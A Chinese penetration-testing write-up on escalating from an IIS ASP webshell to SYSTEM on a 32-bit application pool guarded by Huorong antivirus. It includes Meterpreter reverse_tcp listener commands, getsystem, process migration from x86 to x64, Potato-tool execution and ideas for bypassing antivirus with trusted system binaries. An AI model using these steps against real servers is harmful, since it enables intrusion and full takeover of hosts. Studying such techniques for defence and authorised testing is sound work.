0x00 前言
近期,在一次内部技术交流中,有师傅遇到了一个颇具挑战性的提权场景:目标环境为 x86 架构的应用程序池,并且部署了火绒安全软件进行防护。常规的提权方法在此环境下纷纷失效。本文将记录针对这一 x86 + 火绒 组合场景的测试过程与几种可行的绕过思路。需要注意的是,安全对抗技术具有时效性,文中方法在撰写时测试有效,但实战中需根据具体环境灵活调整。
0x01 测试环境
为了复现该场景,我们搭建了以下测试环境:
- Windows 10 物理机(开启虚拟化)
- 火绒安全个人版 6.0.6.6 (已升级至最新版本)
- 病毒库日期:2025-07-07 20:29
- IIS 10.0 (仅支持 ASP 脚本)
- 应用程序池设置:
启用32位应用程序 = True
- Web Shell 权限:
IIS APPPOOL\DefaultAppPool

0x02 问题描述与初步尝试
问题描述
通过中国蚁剑连接一个 ASP 类型的 WebShell 后,在虚拟终端中执行任何命令或程序,均返回 [Err] 没有权限 的错误。经确认,该站点仅支持 ASP,无法上传 ASP.NET 或 PHP 脚本进行绕过。

解决方案一:上线 C2
利用专门制作的 ASP 上线脚本,成功将一个 x86 的 Cobalt Strike Shellcode 在目标上执行,获取了一个 x86 架构的 Beacon 会话。这里的关键是必须使用针对 x86 架构生成的 Shellcode。

遇到的新问题
在获得的 x86 Beacon 会话中,我们遇到了新的阻碍:
- 架构限制:许多提权工具和插件(如
PostExpKit 中的内存执行、进程注入功能)主要针对 x64 环境开发,在 x86 会话下无法使用或直接报错。
- 安全软件拦截:火绒的安全防护(尤其是内存防护)会拦截常见的提权操作。
具体表现为:
execute-assembly x86下被火绒内存防护拦截
inline-ea x86下不支持使用
inlineExecute-Assembly x86下不支持使用
shell、run、execute 等命令均提示没有权限
...SNIP...

核心矛盾在于:我们拥有一个 x86 的会话,但既无法直接执行 .NET Potato 等提权工具,也无法通过常规方法(如运行 x64 木马、进程迁移注入)切换到 x64 环境。
下面我们将探讨几种在此 x86 + 火绒 场景下的绕过思路。
0x03 绕过方法实践
思路一:利用 .NET 环境直接执行
如果目标网站支持 ASP.NET,那么事情会简单很多。我们可以直接上传一个 .NET WebShell,然后利用相关工具(如哥斯拉)的 InlineExecuteAssembly 功能直接执行 .NET Potato 提权工具,从而直接获得 System 权限的会话。

当目标仅支持 ASP 时,我们可以换用 Metasploit Framework (MSF)。首先生成一个 x86 的 Meterpreter Shellcode 并通过 ASP 脚本上线。
设置监听:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.1.120
msf6 exploit(multi/handler) > set lport 9999
msf6 exploit(multi/handler) > exploit

上线后,可以尝试使用 MSF 内置的 getsystem 命令进行提权,该命令会尝试多种技术,有一定成功率。
meterpreter > getuid
Server username: IIS APPPOOL\DefaultAppPool
meterpreter > getsystem
...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo

这是一种组合思路,旨在从 x86 环境“跳”到 x64 环境。
- 在 Cobalt Strike (x86会话) 中设置生成进程:执行
spawnto 命令,指定一个合法的 x64 系统程序(如 csc.exe)作为未来生成会话的父进程。
spawnto x64 C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
- 尝试生成会话:执行
spawn 命令。在没有火绒拦截的理想情况下,这会直接生成一个 x64 的 Beacon。但在有防护时,此操作可能会被拦截,不过其创建的 csc.exe 进程可能会残存。
- 切换到 Metasploit:此时,在已上线的 MSF (x86) 会话中,使用
ps 命令查看进程列表,寻找刚刚由 CS 创建的、脱离了 w3wp.exe 父进程的 x64 csc.exe。
- 进程迁移:使用 MSF 的
migrate 命令,将当前的 x86 Meterpreter 会话注入到那个 x64 的 csc.exe 进程中。
meterpreter > migrate 9244
这样,我们就成功地将会话从 x86 迁移到了 x64 环境。


补充工具:Metasploit 的 post/windows/manage/archmigrate 模块正是为此类场景设计,它会自动检测并尝试迁移到与操作系统架构匹配的进程中,在实战中也可以尝试使用。
msf > use post/windows/manage/archmigrate
msf post(archmigrate) > run
- 在 x64 环境中执行提权:成功迁移到 x64 进程后,受限减少。此时可以方便地使用 MSF 的
execute_dotnet_assembly 模块来执行提权工具。
msf6 > use post/windows/manage/execute_dotnet_assembly
msf6 post(execute_dotnet_assembly) > set ASSEMBLY /path/to/PrintNotifyPotato.exe
msf6 post(execute_dotnet_assembly) > set SESSION 1
msf6 post(execute_dotnet_assembly) > run
执行成功后,即可获得 System 权限。

0x04 注意事项与总结
时效性说明:安全对抗是动态的。例如,上述“思路三”的方法在早期测试中成功,但在后续复现时可能因环境或软件更新而失效。这完全正常,实战中需要不断测试和寻找新路径。
关键要点总结:
- 谨慎使用脚本上线:ASP、.NET 等内存加载 Shellcode 的方式虽然能绕过部分上传检测,但容易导致 IIS 应用程序池崩溃,需权衡使用。
- 注意架构匹配:在 32 位 (x86) IIS 环境下,务必使用 x86 的 Shellcode,x64 的 Shellcode 无法运行。
- 认识工具限制:在 x86 会话中,许多高级攻击功能(如某些 C2 插件的内存执行)可能无法使用,且更容易触发安全软件的内存防护规则。
- 理解错误根源:在 32 位进程下,尝试向 64 位进程注入 Shellcode 可能会失败并提示“错误 6(句柄无效)”,这是架构差异导致的。
0x05 更严格的实战场景思路延伸
根据反馈,在更严格的实战环境(如某些权限管控严格的虚拟主机)中,可能遇到如下情况:
- Web 目录不可执行
.exe。
- 即使能上传
.asp、.com 等文件,也无法直接执行命令。
- 系统自带的
csc.exe 编译器也因权限问题无法编译文件。

延伸思路:
此时,如果 MSF 会话仍能通过 execute 命令启动部分 x64 系统程序(如图中的 csc.exe),则可以尝试利用系统自带的、可信的应用程序来加载 payload。例如:
- MSBuild:通过执行恶意 XML 项目文件来加载代码。
- InstallUtil、Regsvr32 等:利用这些白名单程序远程执行脚本或 DLL。
核心思路是:寻找并利用任何可以绕过执行限制、并能承载或下载最终 x64 payload 的“跳板”程序。一旦能上线一个 x64 的 C2 会话,后续的提权操作空间就会大很多。这非常考验测试者对系统特性、安全与渗透技巧的熟悉程度。
后记:本文记录了几种在特定限制环境下的技术尝试与思考。真实的攻防对抗复杂多变,没有任何一种方法可以保证百分百成功。关键在于理解每种技术背后的原理,从而能够针对不同的场景组合、变通出新的解决方案。希望这些记录能为大家在遇到类似难题时提供一些参考。更多深入的技术讨论,欢迎在专业的开发者社区进行交流。